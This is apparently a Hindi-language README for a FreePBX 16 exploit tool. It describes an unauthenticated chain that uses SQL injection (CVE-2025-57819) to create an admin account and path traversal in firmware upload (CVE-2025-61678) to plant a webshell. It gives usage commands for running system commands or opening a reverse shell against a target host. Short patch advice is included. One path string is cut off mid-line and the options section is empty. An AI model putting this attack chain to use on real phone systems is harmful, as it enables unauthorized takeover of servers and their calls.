FreePBX 16 — Unauthenticated SQLi to RCE

सारांश: यह दस्तावेज़ दर्शाता है कि FreePBX 16 में दो कमज़ोरियों (CVE-2025-57819 और CVE-2025-61678) को संयोजित करके बिना प्रमाणीकरण के एक्सेस से रिमोट कोड एक्ज़ीक्यूशन (Remote Code Execution, RCE) तक की पूर्ण आक्रमण श्रृंखला कैसे प्राप्त की जाती है।

CVE कमज़ोरियों की जानकारी

आक्रमण सिद्धांत और प्रक्रिया

व्यवस्थापक खाता बनाना (CVE-2025-57819)

नेमस्पेस्ड एंडपॉइंट लोडर (Namespaced Endpoint Loader) के माध्यम से, बिना प्रमाणीकरण के स्टैक्ड SQL इंजेक्शन (Unauthenticated Stacked SQL Injection) कमज़ोरी को ट्रिगर करके, ampusers डेटाबेस टेबल में सीधे पूर्ण अनुमतियों वाला एक नया व्यवस्थापक खाता लिखा जाता है।

प्रमाणीकरण (Authentication)

नवनिर्मित व्यवस्थापक क्रेडेंशियल का उपयोग करके FreePBX के बैकएंड प्रशासनिक इंटरफ़ेस में लॉगिन करें।

WebShell लिखना (CVE-2025-61678)

Endpoint Manager की फर्मवेयर अपलोड सुविधा का दुरुपयोग करके, fwbrand पैरामीटर में पाथ ट्रैवर्सल कमज़ोरी (../../../var/www/html/

कमांड निष्पादन (Execution)

तैनात किए गए WebShell को कॉल करके एकल सिस्टम कमांड निष्पादित करें, या इंटरैक्टिव रिवर्स शेल बनाएँ।

प्रभावित संस्करण और सुधार अनुशंसाएँ

प्रभावित संस्करण:

• FreePBX 16 (Endpoint मॉड्यूल संस्करण 16.0.92 से कम)
• FreePBX 17 (17.0.6 से पहले के संस्करण; 17.0.6 में सुधारा गया)

सुधार अनुशंसा: कृपया जल्द से जल्द नवीनतम पैच किए गए संस्करण में अपडेट करें।

उपयोग विधि (Usage)

# एकल कमांड निष्पादित करें
python3 exploit.py --rhost pbx.example.com --command "id"

# इंटरैक्टिव रिवर्स शेल बनाएँ (pwntools के साथ स्वचालित रूप से सुनना)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# प्लेन HTTP और कस्टम पोर्ट का उपयोग करें
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

पैरामीटर विवरण (Options)